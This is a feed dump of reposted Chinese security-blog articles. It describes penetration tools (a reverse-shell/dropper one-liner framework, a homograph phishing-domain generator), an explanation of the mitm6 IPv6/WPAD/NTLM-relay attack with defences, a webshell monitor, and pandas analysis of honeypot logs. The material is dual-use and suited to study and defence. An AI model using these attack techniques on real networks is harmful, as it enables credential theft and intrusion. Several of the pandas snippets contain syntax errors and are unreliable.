阿峰博客 阿峰'S blog http://www.aycelz.tw 專注于網絡安全,漏洞挖掘,攻防研究,安全博客 Wed, 07 Feb 2018 02:46:39 +0000 zh-CN hourly 1 https://wordpress.org/?v=4.9.3 Joy:一款用于捕獲和分析網絡內部流量數據的工具 http://www.aycelz.tw/1282.html http://www.aycelz.tw/1282.html#respond Wed, 07 Feb 2018 02:46:39 +0000 http://www.aycelz.tw/1282.html

今天給大家介紹的是一款名叫Joy的工具,該工具能夠捕捉并分析網絡流數據以及系統內部流數據,研究人員可以利用這些數據以及分析結果來進行網絡研究、取證以及安全監控等活動。

Joy:一款用于捕獲和分析網絡內部流量數據的工具

工具下載

下載地址:【GitHub傳送門

工具介紹

Joy是一款基于BSD許可證協議下的軟件數據包(基于libpcap),它可以從實時網絡流量中提取數據或直接捕捉到數據包文件(pcap文件)。Joy使用的是一種指向數據流的模型,其工作機制跟IPFIX或Netflow有些類似,在捕捉到數據之后,Joy將以JSON格式呈現出這些數據。除此之外,Joy還包含了分析工具,用戶可以直接使用這些分析工具來對數據文件進行分析。值得一提的是,Joy可以用來進行大規模數據提取,尤其是那些跟網絡安全以及惡意威脅相關的數據。

之所以這里要使用JSON,主要是為了方便將捕捉到的數據直接輸入到數據分析工具之中以進行深入分析。雖然JSON輸出文件稍微有些冗長,但是文件大小還是比較小的,而且可壓縮性也很強。

經過配置后,Joy還可以獲取系統內部流數據,即網絡流內部所發生的事件信息以及各種數據,其中包括:

1.   IP數據包的長度以及到達時間;

2.   數據流中特定數據的經驗概率分布情況,以及相應的熵;

3.   TLS記錄的長度以及到達時間;

4.   其他非加密的TLS數據,例如提供的加密套件列表、選擇的加密套件、clientKeyExchange域的長度、以及服務器證書字符串等等;

5.   DNS域名、地址以及TTLs;

6.   HTTP頭元素以及HTTP body的前八個字節;

7.   跟數據流有關的進程名稱以及pcap文件;

適用范圍

Joy不僅適用于信息安全研究和取證,而且還可以對小型網絡進行監控以檢測安全漏洞、網絡威脅、以及未授權的非法操作。研究人員、網絡管理員、滲透測試人員和安全響應團隊都可以利用Joy提供的數據來監控和保護自家網絡的安全。當然了,對于攻擊者來說,Joy同樣可以幫助他們實現自己的目的,例如掃描目標網絡中潛在的安全漏洞,或者竊取目標網絡流數據。因此,我們建議大家在沒有得到許可的情況下不要將該工具應用到其他個人或組織網絡中。

版本介紹

目前發布的Joy仍是測試版本,我們希望有能力的同學可以在工具的使用過程中給我們提交反饋意見或更新功能代碼【GitHub】。在接下來的一兩周時間里,我們將會發布Joy 2.0版本,在新版本中我們對JSON模式進行了大幅度修改,并添加了很多新的功能,敬請期待。

使用Tip

Joy可以在Linux(Debian, Ubuntu, CentOS和Raspbian)、macOS以及Windows平臺上正常運行。該工具使用了gcc編譯,并且能夠適用于多種開發環境。

工具配置及依賴組件

下載Joy源代碼:

git clone https://github.com/cisco/joy.git cd joy

Linux(Ubuntu)

sudo apt-get install build-essential libssl-dev libpcap-dev libcurl4-openssl-dev

Windows

嵌入到windows/子目錄中。

macOS

在構建Joy之前,你需要安裝OpenSSL開發組件,你可以運行下列命令來查看當前的OpenSSL版本信息:

openssl version

從openssl.org下載符合條件的文件包,并提取出來。

MacOS Sierra native OpenSSL 0.9.8zh:【下載地址

curl -o openssl-0.9.8zh.tar.gz https://www.openssl.org/source/old/0.9.x/openssl-0.9.8zh.tar.gz

下載好OpenSSL tarball之后,你還需要提取并運行配置腳本:

tar zxf openssl-0.9.8zh.tar.gz cd openssl-0.9.8zh ./config

詳細的工具配置文檔請參考【構建指引】。

* 參考來源:joy,FB小編Alpha_h4ck編譯,轉載于FreeBuf

]]>
http://www.aycelz.tw/1282.html/feed 0
One-Lin3r:懶人的福音,滲透測試單行化工具 http://www.aycelz.tw/1277.html http://www.aycelz.tw/1277.html#respond Thu, 01 Feb 2018 02:38:50 +0000 http://www.aycelz.tw/1277.html

今天給大家介紹一款名叫One-Lin3r的滲透測試工具工具,這款工具可謂是“懶人”的福音,因為只需要輸入一行命令,它就可以幫助我們完成滲透測試任務。

One-Lin3r:懶人的福音,滲透測試單行化工具

One-Lin3r

One-Lin3r是一款簡單的輕量級框架,而該工具的靈感來自于Metasploit的web-delivery模塊。該工具提供了多種命令,例如:

1.   Reverser:提供IP及端口號,它將返回一個可直接使用的反向Shell;

2.   Dropper:提供上傳后們的URL地址,它將返回一個可操作的命令行;

功能介紹

1.   可通過全名或關鍵詞在數據庫中搜索one-liner命令;

2.   你可以通過.liner文件來創建自己的one-liner。除此之外,你還可以直接將文件發送給其他用戶并添加到框架中直接使用;

3.   自動補全框架命令,并給出命令推薦;

4.   框架可使用命令行參數來實現命令的自動化加載和執行;

5.   如果在沒有重啟框架的情況下添加one-liner的話,可以通過重新加載數據庫來使用新添加的one-liner;

6.   在Payload文件夾中創建一個.liner文件后,就可以向Payload數據庫中添加任意平臺了;

Payload數據庫目前還不算非常大,因為該工具只是第一個版本,但是隨著代碼的更新以及社區的貢獻,數據庫將會變得越來越大。

下載地址

GitHub傳送門

演示視頻

視頻地址:

看不到?點這里

工具使用

命令行參數:

usage:One-Lin3r.py [-h] [-r R] [-x X] [-q]   optionalarguments:   -h, --help show this help message and exit   -r         Execute a resource file (history file).   -x         Execute a specific command (use ; for multiples).   -q         Quit mode (no banner).

框架命令:

Command             Description --------            ------------- help/?              Show this help menu list/show           List payloads you can use in theattack. search  <Keyword>   Search payloads for a specific one use     <payload>   Use an available payload info    <payload>   Get information about an available payload banner              Display banner reload/refresh      Reload the payloads database check               Prints the core version anddatabase version then check for them online. history             Display command line mostimportant history from the beginning save_history        Save command line history to a file exit/quit           Exit the framework

工具安裝及要求

為了保證該工具能夠正常運行,用戶需滿足以下條件:

Python3.x 或2.x (最好是3)

Linux(已在Kali Linux下測試成功)或Windows系統(還未在macOS平臺上進行過測試,但理論上是可以正常運行的)

工具安裝

針對Windows平臺:(下載ZIP文件并解壓縮)

cd One-Lin3r-master python-m pip install -r win_requirements.txt python One-Lin3r.py -h

針對Linux平臺:

git clone https://github.com/D4Vinci/One-Lin3r.git chmod 777 -R One-Lin3r cd One-Lin3r pip install -r requirements.txt python One-Lin3r.py -h

工具運行截圖

One-Lin3r:懶人的福音,滲透測試單行化工具

One-Lin3r:懶人的福音,滲透測試單行化工具

One-Lin3r:懶人的福音,滲透測試單行化工具

One-Lin3r:懶人的福音,滲透測試單行化工具

* 參考來源:github,FB小編Alpha_h4ck編譯,轉載于FreeBuf

]]>
http://www.aycelz.tw/1277.html/feed 0
EvilURL v2.0一個生成用于釣魚攻擊的IDN域名的工具 http://www.aycelz.tw/1273.html http://www.aycelz.tw/1273.html#respond Wed, 31 Jan 2018 23:37:56 +0000 http://www.aycelz.tw/1273.html

EvilURL v2.0一個生成用于釣魚攻擊的IDN域名的工具

EvilURL v2.0是一個IDN同形異義字攻擊(Homograph Attack )的unicode惡意域名生成器。同時,它也可被用于檢測這些域名的真實性。

安裝環境

python 3.x

測試版本

Kali Linux – ROLLING EDITION

CLONE

git clone https://github.com/UndeadSec/EvilURL.git

運行

cd EvilURL python3 evilurl.py

截圖

EvilURL v2.0一個生成用于釣魚攻擊的IDN域名的工具

日志更新

完整的腳本更新到Python 3.x {關閉對Python 2.x支持}

CheckURL模塊。{增加URL或連接網址的惡意識別功能。}

更好的交互性。 {更好的界面和設計。}

VIDEO DEMO

*參考來源:github,FB小編 secist 編譯,轉載于FreeBuf

]]>
http://www.aycelz.tw/1273.html/feed 0
國產網站惡意代碼監測(網馬監控)工具優化版 http://www.aycelz.tw/1265.html http://www.aycelz.tw/1265.html#respond Sun, 21 Jan 2018 23:24:11 +0000 http://www.aycelz.tw/1265.html 好久沒寫東西了,十九大要召開了,忙壞了我們這群做安全的小屌絲們~國慶也沒放假,哎~說正題吧,很久之前發過一次這個工具,只不過有很多問題,監控效率也不高,這次優化了下。

新版本:

①提升了監控到網馬后的處理速度,優化了高頻率上傳的處理速度,10文件同時上傳,1秒內處理完畢。

②增加了簡易的日志功能(為什么說是簡易呢,看后面圖片就知道了)

③增加了一批樣本,新增加了挺多樣本的(懶得數了,反正挺多的)

④優化了關閉或使用ALT+F4時,程序會自動最小化到任務欄,避免誤操作關閉該軟件;

⑤新增加了敏感關鍵字檢測,當監測到頁面出現敏感關鍵字時,會將頁面進行隔離處理,確保敏感頁面不對外展示;

https://github.com/wstart/webshell

https://github.com/ysrc/webshell-sample

不算之前收錄的內容,上述鏈接中所涉及的樣本,收錄了90%,還有一部分PHP的未收錄,我找時間看吧,還未驗證是否能監控到。

昨天增加了中文敏感詞匯的特征,我的軟件不可能涵蓋所有的webshell特征,這個是肯定的,我也不敢吹這個牛,增加中文敏感詞匯的意義,是在于如果有webshell未被檢測到,至少頁面不會被改成這樣涉及敏感問題的頁面,畢竟服務器被破壞了,也比被弄成亂七八糟的頁面要好的多,政治錯誤,你懂的。

今天又對軟件進行了創建、修改、刪除、重命名4種操作方式的壓力測試,寫了個批處理文件,循環進行操作,模擬大量寫入和操作的過程,來測試軟件的壓力,調整了一天代碼,總算是完工了。

先貼出涉及敏感詞匯的特征吧~~~只添加了一些,慢慢增加吧。

國產網站惡意代碼監測(網馬監控)工具優化版

其實我還很小,我根本不懂上面的詞是什么意思(手動捂臉~~~)

功能說明截圖:

國產網站惡意代碼監測(網馬監控)工具優化版

國產網站惡意代碼監測(網馬監控)工具優化版

軟件開始執行時是這個樣子的

國產網站惡意代碼監測(網馬監控)工具優化版

隔離區放在了C:/temp/geliqu目錄下

日志存儲在c:/temp目錄下

一目了然。

國產網站惡意代碼監測(網馬監控)工具優化版

使用演示視頻:

這就是我說的簡易日志的原因了,因為真的很簡易,其實想弄報表的,但是最近忙的要死,都是加完班以后,半夜扣1個小時代碼

同事們也反應了下,UI界面實在丑的令人扎心,我看著也扎心,等有時間給它整整容吧,先看實用性吧,東西好用了,丑不丑也就無所謂了,對吧?

鏈接: https://pan.baidu.com/s/1o84zD7G 密碼: hs2w

歡迎大家測試,有監控不到的webshell或者bug問題,歡迎站內信反饋!

等忙完這段時間,把Python版的給大家發出來。(反正python版的主要用在非windows平臺,丑不丑你們也看不出來。)

*本文作者:鬼魅羊羔,轉載于 FreeBuf

]]>
http://www.aycelz.tw/1265.html/feed 0
MITM6:用IPv6攻陷IPv4網絡的工具 http://www.aycelz.tw/1263.html http://www.aycelz.tw/1263.html#respond Fri, 19 Jan 2018 02:21:37 +0000 http://www.aycelz.tw/1263.html

隨著IPv6概念的提出,互聯網上針對IPv6協議的使用也日漸增多,但即便如此IPv6在公司內部卻并不受歡迎,很少會有公司使用IPv6。然而,大多數公司可能都忽略了一個問題,雖然IPv6可能沒有被我們主動啟用,但自Windows Vista以來的所有Windows版本(包括服務器版本)都默認啟用了IPv6,并且優先級高于IPv4。

在本篇博文中,我將為大家介紹一種針對IPv6的攻擊:即利用Windows網絡中的默認IPv6配置,偽裝DNS服務器來欺騙DNS reply,并將流量重定向到攻擊者指定的端點。接著,我還會為大家提供一種新的利用(臭名昭著的)Windows代理自動發現(WPAD)功能,來傳遞憑證并對網絡中的各種服務進行身份驗證的 方法。Fox-IT在GitHub上創建了該工具并命名為mitm6,大家可以在這里下載到。

IPv6攻擊

與IPv6的發展速度緩慢一樣,網上關于針對IPv6滲透測試的資料也少的可憐。盡管市面上有不少相關書籍也都或多或少的提到了諸如ARP欺騙之類的東西,但卻很少涉及IPv6,而可用于測試或利用IPv6配置的工具則更稀缺。這里我要提及的一款工具是THC IPV6攻擊套件,這也是mitm6靈感的來源。本文中描述的攻擊是SLAAC攻擊其中的一個版本,最早是由Infosec研究所的Alex Waters在2011年提出的。SLAAC攻擊通過建立一個流氓IPv6路由器,并設置各種服務對網絡中的所有流量實施中間人攻擊。之后,Neohapsis為這種攻擊開發了一個自動化工具名為suddensix

對于SLAAC攻擊也有其弊端,由于SLAAC攻擊會嘗試在現有的IPv4網絡為當前所有設備創建一個覆蓋網絡。而在這滲透測試中并不是一個理想的情況,因為這么做會導致網絡穩定性受到明顯的影響。此外,攻擊者還需借助相當多外部的軟件包和服務才能正常執行攻擊操作。mitm6專注于更快更好的解決方案,測試人員可以根據需求選擇攻擊主機和欺騙DNS reply,同時能最大限度的減少對網絡正常運行帶來的影響。而且mitm6使用起來也非常簡單,幾乎不需要進行配置,并可在幾秒內執行攻擊。當攻擊任務完成后,則會根據工具中默認設置的超時時間,在較短時間內將網絡恢復到之前的狀態。

mitm6攻擊

攻擊階段1 – 主DNS接管

首先讓mitm6開始在攻擊者機器的主接口上偵聽,并通過DHCPv6向 Windows客戶端請求IPv6配置。默認情況下,自Windows Vista之后,每臺Windows計算機都會定期向該配置發起請求。我們可以通過Wireshark抓包來進行查看:

MITM6:用IPv6攻陷IPv4網絡的工具

mitm6將會應答這些DHCPv6請求,并為受害者分配本地鏈路范圍內的IPv6地址。而在實際的IPv6網絡中,這些地址由主機本身自動分配,不需要由DHCP服務器來配置,這使得我們有機會將攻擊者IP設置為受害者的默認IPv6 DNS服務器。需要注意的是,mitm6目前只針對基于Windows的操作系統,因為像macOS和Linux等其他操作系統,不使用DHCPv6來分配DNS服務器。

mitm6不會對外宣稱自己是網關,因此主機不會嘗試與本地網段或VLAN之外的IPv6主機進行通信。mitm6也不會嘗試對網絡中所有流量的中間人,而是選擇性地欺騙主機(在運行mitm6時可以指定過濾的域),這樣做也減少了對網絡造成的影響。

以下截圖顯示了mitm6的攻擊過程。該工具自動檢測攻擊者計算機的IP配置,并以包含攻擊者IP作為DNS服務器的DHCPv6應答回復網絡中客戶端發送的DHCPv6請求。它將周期性的發送通告路由器(RA)消息來提醒客戶端存在IPv6網絡,并且客戶端應該通過DHCPv6請求IPv6地址。這在某些情況下會加快攻擊速度,但這并不是必須要做的工作,我們可以在具有SLAAC攻擊防護的網絡上執行此攻擊。

MITM6:用IPv6攻陷IPv4網絡的工具

攻擊階段2 – DNS欺騙

在受害者機器上,我們看到我們的服務器被配置為了DNS服務器。由于Windows對IP協議的偏好,IPv6 DNS服務器將優于IPv4 DNS服務器。IPv6 DNS服務器將會 被用于查詢A(IPv4)和AAAA(IPv6)記錄。

MITM6:用IPv6攻陷IPv4網絡的工具

接著我們要做的是讓客戶端連接到攻擊者機器,我們的最終目標是讓用戶或瀏覽器自動向攻擊者機器進行身份驗證,這就是為什么我們要欺騙內部域testsegment.local中URL的原因。在步驟1的截圖中你可以看到,客戶端在分配了IPv6地址后立即開始請求有關wpad.testsegment.local的信息。這是我們在這次攻擊當中將要利用的一部分。

WPAD利用

WPAD利用的簡短史

Windows代理自動檢測功能一直以來都存在著巨大爭議,而且多年來一直被滲透測試人員所利用。它本意的用途是用于在企業環境中自動檢測用于連接到互聯網的網絡代理。歷史上,提供wpad.dat文件的服務器地址(提供這些信息)將使用DNS解析,如果沒有條目返回,地址將通過不安全的廣播協議解析,如鏈路本地多播名稱解析 (LLMNR)。攻擊者可以回復這些廣播名稱解析協議并對其進行欺騙,讓其認為WPAD文件位于攻擊者服務器上,然后提示進行身份驗證以訪問WPAD文件。這種認證是Windows默認提供的,無需用戶交互。這將會向攻擊者提供登錄在該計算機上的用戶的NTLM憑據,可被用于在NTLM中繼的過程中對服務進行認證。

然而在2016年微軟發布了安全公告MS16-077,通過增加兩項重要的保護措施來緩解這一攻擊:

WPAD文件的位置不再需要通過廣播協議請求,而只能通過DNS;

即使服務器請求,也不會自動進行認證。

雖然在網絡中,我們仍能碰到一些未完全修復的機器仍在通過LLMNR請求WPAD并自動進行認證,但我們也發現越來越多的公司開始開始注意到了這點并進行了很好的改善。

MS16-077之WPAD的利用

針對微軟的第一個安全措施僅通過DNS,mitm6可以幫助我們輕松繞過。一旦受害者機器將攻擊者設置為IPv6 DNS服務器,它將開始查詢網絡的WPAD配置。由于這些DNS查詢被發送給了攻擊者,它只能用自己的IP地址(是IPv4或IPv6取決于受害者機器請求的是什么)進行回復。

要想繞過第二個防護,我們需要做一些更復雜的操作。當受害者請求一個WPAD文件時,我們將不會請求驗證,而是提供一個攻擊者機器上設置作為代理的有效的WPAD文件。此時,當受害者運行任何使用Windows API連接到互聯網的應用程序或是瀏覽網頁,都將使用攻擊者機器作為代理。這在Edge,Internet Explorer,Firefox和Chrome中都可以使用,因為默認情況下它們都遵循WPAD系統設置。

現在當受害者連接到我們的代理服務器,我們可以通過CONNECT HTTP或GET后的完整URI識別,我們使用HTTP 407代理身份驗證進行回復。這與通常用于請求驗證的HTTP代碼HTTP 401不同。

IE/Edge和Chrome(使用IE設置)將自動向代理進行身份驗證,即使在最新的Windows版本上也是如此。在Firefox中,可以對該配置進行設置,默認情況下是啟用狀態。

MITM6:用IPv6攻陷IPv4網絡的工具

此時,Windows將會毫無防備的將NTLM challenge/response發送給攻擊者,攻擊者可以將其轉發給不同的服務。通過這種中繼攻擊,攻擊者可以對服務進行身份驗證,訪問網站和共享信息,如果受害者的權限足夠大,攻擊者甚至可以在計算機上執行代碼,并接管整個Windows域。關于NTLM中繼的相關內容,在我之前的博文中有過介,點擊這里查看

完整的攻擊

在前面的幾節內容我對該類攻擊做了一個大致的描述和解釋。執行此攻擊本身非常簡單。首先我們啟動mitm6,它將開始中繼DHCPv6請求,然后開始在內部網絡中向DNS查詢請求名稱。在攻擊的第二部分,我們將使用到中繼工具ntlmrelayx。這個工具是Core Security impacket Python庫的一部分,是smbrelayx工具的一個改進版支持多種協議。Core Security和Fox-IT最近共同改進了ntlmrelayx,增加了幾項新功能(其中包括)使其能夠通過IPv6進行中繼,提供WPAD文件,自動檢測代理請求并提示受害者進行正確的身份驗證。如果你想進一步的了解這些新功能,請點擊relay-experimental分支查看。

要提供WPAD文件,我們需要在命令提示符中-wh參數后添加主機,并指定WPAD文件所在的主機。由于mitm6讓我們可以控制DNS,因此受害網絡中的任何不存在的主機名都可以執行。為了確保ntlmrelayx在IPv4和IPv6上偵聽,我們可以使用-6參數。以下截圖為我們展示了兩個工具當前的運行情況,顯示了兩個工具正在運行,mitm6有選擇地欺騙DNS回復,ntlmrelayx服務于WPAD文件,然后將身份驗證轉發到網絡中的其它服務器。

MITM6:用IPv6攻陷IPv4網絡的工具

MITM6:用IPv6攻陷IPv4網絡的工具

防御和解決方案

對于上述的這類攻擊,目前唯一的解決辦法是禁用IPv6。這將阻止Windows客戶端DHCPv6服務器查詢,并使攻擊者無法通過上述方法接管DNS服務器。

對于WPAD漏洞,最好的解決方案是通過組策略禁用代理自動檢測功能。如果您的公司內部使用代理配置文件(PAC文件),建議顯式配置PAC網址,而不是依靠WPAD自動檢測。

在寫這篇博文時,Google的Project Zero團隊也發現了WPAD中的漏洞,其博文中提到禁用WinHttpAutoProxySvc是禁用WPAD的唯一可靠方式。

最后,阻止NTLM中繼的唯一完整解決方案是完全禁用它并切換到Kerberos。更多關于NTLM中繼攻擊的解決方案可以參考我們之前的博文。

工具獲取

文中提及的相關工具可在Fox-IT GitHubimpacket repository獲取。

*參考來源:fox-it,FB小編 secist 編譯,轉載于FreeBuf

]]>
http://www.aycelz.tw/1263.html/feed 0
Python工具分析風險數據 http://www.aycelz.tw/1261.html http://www.aycelz.tw/1261.html#respond Mon, 15 Jan 2018 00:19:47 +0000 http://www.aycelz.tw/1261.html

小安前言

隨著網絡安全信息數據大規模的增長,應用數據分析技術進行網絡安全分析成為業界研究熱點,小安在這次小講堂中帶大家用Python工具對風險數據作簡單分析,主要是分析蜜罐日志數據,來看看一般大家都使用代理ip干了一些啥事。

Python工具分析風險數據

大家可能會問小安啥是蜜罐,網上一些黑客或技術人員經常做一些"事情"的時候,需要隱藏自己身份,這樣他們會使用代理IP來辦事。而蜜罐(Honeypot)是一種新型的主動防御的安全技術,它是一個專門為了被攻擊或入侵而設置的欺騙系統——既可以用于保護產品系統,又可用于搜集黑客信息,是一種配置靈活、形式多樣的網絡安全技術。

說得通俗一點就是提供大量代理IP,引誘一些不法分子來使用代理這些代理ip,從而搜集他們的信息。

數據分析工具介紹

工欲善其事,必先利其器,在此小安向大家介紹一些Python數據分析的“神兵利器“。

Python中著名的數據分析庫Panda

Pandas庫是基于NumPy 的一種工具,該工具是為了解決數據分析任務而創建,也是圍繞著 Series 和 DataFrame 兩個核心數據結構展開的,其中Series 和 DataFrame 分別對應于一維的序列和二維的表結構。

Pandas提供了大量能使我們快速便捷地處理數據的函數和方法。這個庫優點很多,簡單易用,接口抽象得非常好,而且文檔支持實在感人。你很快就會發現,它是使Python成為強大而高效的數據分析環境的重要因素之一。

數據可視化采用Python上最常用的Matplotlib庫

Matplotlib是一個Python的圖形框架,也是Python最著名的繪圖庫,它提供了一整套和Matlab相似的命令API,十分適合交互式地進行制圖。

我們有了這些“神兵利器“在手,下面小安將帶大家用Python這些工具對蜜罐代理數據作一個走馬觀花式的分析介紹。

1 引入工具–加載數據分析包

啟動IPython notebook,加載運行環境:

%matplotlib inlineimport pandas as pdfrom datetime import timedelta, datetimeimport matplotlib.pyplot as pltimport numpy as np

2 數據準備

俗話說: 巧婦難為無米之炊。小安分析的數據主要是用戶使用代理IP訪問日志記錄信息,要分析的原始數據以CSV的形式存儲。這里首先要介紹到pandas.read_csv這個常用的方法,它將數據讀入DataFrame。

analysis_data = pd.read_csv('./honeypot_data.csv') 

對的, 一行代碼就可以將全部數據讀到一個二維的表結構DataFrame變量,感覺很簡單有木有啊!!!當然了用Pandas提供的IO工具你也可以將大文件分塊讀取,再此小安測試了一下性能,完整加載約21530000萬條數據也大概只需要90秒左右,性能還是相當不錯。

3 數據管窺

一般來講,分析數據之前我們首先要對數據有一個大體上的了解,比如數據總量有多少,數據有哪些變量,數據變量的分布情況,數據重復情況,數據缺失情況,數據中異常值初步觀測等等。下面小安帶小伙伴們一起來管窺管窺這些數據。

使用shape方法查看數據行數及列數

analysis_data.shape

Out: (21524530, 22) #這是有22個維度,共計21524530條數據記的DataFrame

使用head()方法默認查看前5行數據,另外還有tail()方法是默認查看后5行,當然可以輸入參數來查看自定義行數

analysis_data.head(10) 

Python工具分析風險數據

這里可以了解到我們數據記錄有用戶使用代理IP日期,代理header信息,代理訪問域名,代理方法,源ip以及蜜罐節點信息等等。在此小安一定一定要告訴你,小安每次做數據分析時必定使用的方法–describe方法。pandas的describe()函數能對數據進行快速統計匯總:

對于數值類型數據,它會計算出每個變量:

總個數,平均值,最大值,最小值,標準差,50%分位數等等;

非數值類型數據,該方法會給出變量的:

非空值數量、unique數量(等同于數據庫中distinct方法)、最大頻數變量和最大頻數。

由head()方法我們可以發現數據中包含了數值變量、非數值變量,我們首先可以利用dtypes方法查看DataFrame中各列的數據類型,用select_dtypes方法將數據按數據類型進行分類。然后,利用describe方法返回的統計值對數據有個初步的了解:

df.select_dtypes(include=['O']).describe() 

Python工具分析風險數據

df.select_dtypes(include=['float64']).describe()
proxy_retlength scan_os_fp scan_os_sub_fp scan_scan_mode dtype_details
count 6.417354e+06 0.0 0.0 0.0
mean 1.671744e+03 NaN NaN NaN
std 3.104775e+04 NaN NaN NaN
min 0.000000e+00 NaN NaN NaN
25% NaN NaN NaN NaN
50% NaN NaN NaN NaN
75% NaN NaN NaN NaN
max 2.829355e+07 NaN NaN NaN

簡單的觀察上面變量每一維度統計結果,我們可以了解到大家獲取代理數據的長度平均1670個字節左右。同時,也能發現字段scan_os_sub_fp,scan_scan_mode等存在空值等等信息。這樣我們能對數據整體上有了一個大概了解。

4 數據清洗

由于源數據通常包含一些空值甚至空列,會影響數據分析的時間和效率,在預覽了數據摘要后,需要對這些無效數據進行處理。

一般來說,移除一些空值數據可以使用dropna方法, 當你使用該方法后,檢查時發現 dropna() 之后幾乎移除了所有行的數據,一查Pandas用戶手冊,原來不加參數的情況下, dropna() 會移除所有包含空值的行。 

如果你只想移除全部為空值的列,需要加上 axis 和 how 兩個參數:

analysis_data.dropna(axis=1, how='all')

另外,也可以通過dropna的參數subset移除指定列為空的數據,和設置thresh值取移除每非None數據個數小于thresh的行。

analysis_data.dropna(subset=['proxy_host', 'srcip'])

#移除proxy_host字段或srcip字段沒有值的行

analysis_data.dropna(thresh=10)

#移除所有行字段中有值屬性小于10的行

5 統計分析

再對數據中的一些信息有了初步了解過后,原始數據有22個變量。從分析目的出發,我將從原始數據中挑選出局部變量進行分析。這里就要給大家介紹pandas的數據切片方法loc。

loc([start_row_index:end_row_index,[‘timestampe’, ‘proxy_host’, ‘srcip’]])是pandas重要的切片方法,逗號前面是對行進行切片;逗號后的為列切片,也就是挑選要分析的變量。

如下,我這里選出日期,host和源IP字段——

analysis_data = analysis_data.loc([:, [‘timestampe’,'proxy_host','srcip']])

首先讓我們來看看蜜罐代理每日使用數據量,我們將數據按日統計,了解每日數據量PV,并將結果畫出趨勢圖。

daily_proxy_data = analysis_data[analysis_data.module=='proxy']daily_proxy_visited_count = daily_proxy_data.timestamp.value_counts().sort_index()daily_proxy_visited_count.plot()

Python工具分析風險數據

對數據列的丟棄,除無效值和需求規定之外,一些表自身的冗余列也需要在這個環節清理,比如說DataFrame中的index號、類型描述等,通過對這些數據的丟棄,從而生成新的數據,能使數據容量得到有效的縮減,進而提高計算效率。

由上圖分析可知蜜罐代理使用量在6月5號,19-22號和25號這幾天呈爆炸式增長。那么這幾天數據有情況,不正常,具體是神馬情況,不急,后面小安帶大家一起來慢慢揪出來到底是那些人(源ip) 干了什么“壞事”。

進一步分析, 數據有異常后,再讓我們來看看每天去重IP數據后量及其增長量。可以按天groupby后通過nunique()方法直接算出來每日去重IP數據量。

daily_proxy_data = analysis_data[analysis_data.module=='proxy']daily_proxy_visited_count = daily_proxy_data.groupby(['proxy_host']).srcip.nunique()daily_proxy_visited_count.plot()

Python工具分析風險數據

究竟大部分人(源ip)在干神馬?干神馬?干神馬?讓我們來看看被訪問次數最多host的哪些,即同一個host關聯的IP個數,為了方便我們只查看前10名熱門host。

先選出host和ip字段,能過groupby方法來group 每個域名(host),再對每個域名的ip訪問里unique統計。

host_associate_ip = proxy_data.loc[:, ['proxy_host', 'srcip']]grouped_host_ip = host_associate_ip.groupby(['proxy_host']).srcip.nunique()print(grouped_host_ip.sort_values(ascending=False).head(10))

代理訪問host 源ip
www.gan**.com 1113
wap.gan**.com 913
webim.gan**.com 710
cgi.**.qq.com 621
www.baidu.com 615
loc.***.baidu.com 543
baidu.com 515
www.google.com 455
www.bing.com 428
12**.ip138.com 405

再細細去看大家到底做了啥——查看日志數據發現原來在收集像二手車價格,工人招聘等等信息。從熱門host來看,總得來說大家使用代理主要還是獲取百度,qq,Google,Bing這類婦孺皆知網站的信息。

下面再讓我們來看看是誰用代理IP“干事”最多,也就是看看誰的IP訪問不同host的個數最多。

host_associate_ip = proxy_data.loc[:, ['proxy_host', 'srcip']]grouped_host_ip = host_associate_ip.groupby(['srcip'_host']).proxy_host.nunique()print(grouped_host_ip.sort_values(ascending=False).head(10))
源ip 訪問不同host個數
123.**.***.155 2850
64.**.**.122 2191
124.***.***.103 710
212.*.***.14 562
124.***.***.126 518
195.***.**.1 465
27.***.***.202 452
90.**.***.11 451
212.*.***.13 438
110.***.***.39 430

哦,發現目標IP為123.**.***.155的小伙子有大量訪問記錄, 進而查看日志,原來他在大量收集酒店信息。 好了,這樣我們就大概能知道誰在干什么了,再讓我們來看看他們使用proxy持續時長,誰在長時間里使用proxy。 代碼如下——

這里不給大家細說代碼了,只給出如下偽代碼。

date_ip = analysis_data.loc[:,['timestamp','srcip']]grouped_date_ip = date_ip.groupby(['timestamp', 'srcip'])#計算每個源ip(srcip)的訪問日期all_srcip_duration_times = ...#算出最長連續日期天數duration_date_cnt =  count_date(all_srcip_duration_times)

源ip 持續日期(天)
80.**.**.38 32
213.***.**.128 31
125.**.***.161 22
120.**.***.161 22
50.***.**.67 19
114.***.***.97 19
162.***.**.113 19
192.***.**.226 17
182.**.**.205 17
112.***.**.108 16
123.**.***.130 16
61.***.***.156 15
61.***.***.152 15
58.***.***.130 15
216.***.**.106 14
101.***.***.117 14
124.***.***.126 14
79.***.**.254 13
115.**.***.130 13
61.***.***.79 13

好了,到此我也就初略的知道那些人做什么,誰用代理時長最長等等問題額。取出ip = 80.**.**.38的用戶使用代理ip訪問數據日志,發現原來這個小伙子在長時間獲取搜狐images。

蜜罐在全國各地部署多個節點,再讓我們來看看每個源ip掃描蜜罐節點總個數,了解IP掃描節點覆蓋率。結果見如下:

# 每個IP掃描的IP掃描節點總個數

node = df[df.module=='scan']node = node.loc[:,['srcip','origin_details']]grouped_node_count = node.groupby(['srcip']).count()print grouped_node_count.sort_values(['origin_details'], ascending=False).head(10)

源ip IP掃描節點總個數
106.***.**.161 9
45.**.**.214 9
94.***.**.174 8
119.**.**.216 7
61.***.***.222 7
182.**.**.205 6
182.**.***.75 6
42.**.***.89 6
123.**.**.64 6
42.**.***.128 6
42.**.***.106 6
42.**.***.82 6
114.***.***.157 6
80.**.**.38 6
42.**.***.149 6
115.**.**.163 6

由上述兩表初步可知,一些結論:如源ip為182.**.**.205的用戶長時間對蜜罐節點進行掃描,mark危險用戶等等。

*本文作者:豈安科技,轉載于FreeBuf

]]>
http://www.aycelz.tw/1261.html/feed 0
批量Webshell管理工具QuasiBot之后門代碼分析 http://www.aycelz.tw/1259.html http://www.aycelz.tw/1259.html#respond Fri, 12 Jan 2018 00:15:27 +0000 http://www.aycelz.tw/1259.html ??免責聲明:本文介紹的安全工具及方法僅用于滲透測試及安全教學使用,禁止任何非法用途,后果自負??

一、前言

最近在想著寫一款webshell批量管理工具,發現目前有一款開源的,由php編寫的管理平臺——"QuasiBot"。在本地使用QuasiBot的時候,發現它的內置后門代碼非常不錯,所以便有了此文。本文會針對QuasiBot的兩種后門代碼進行剖析:非DDoS版 和 DDoS版。

二、了解QuasiBot

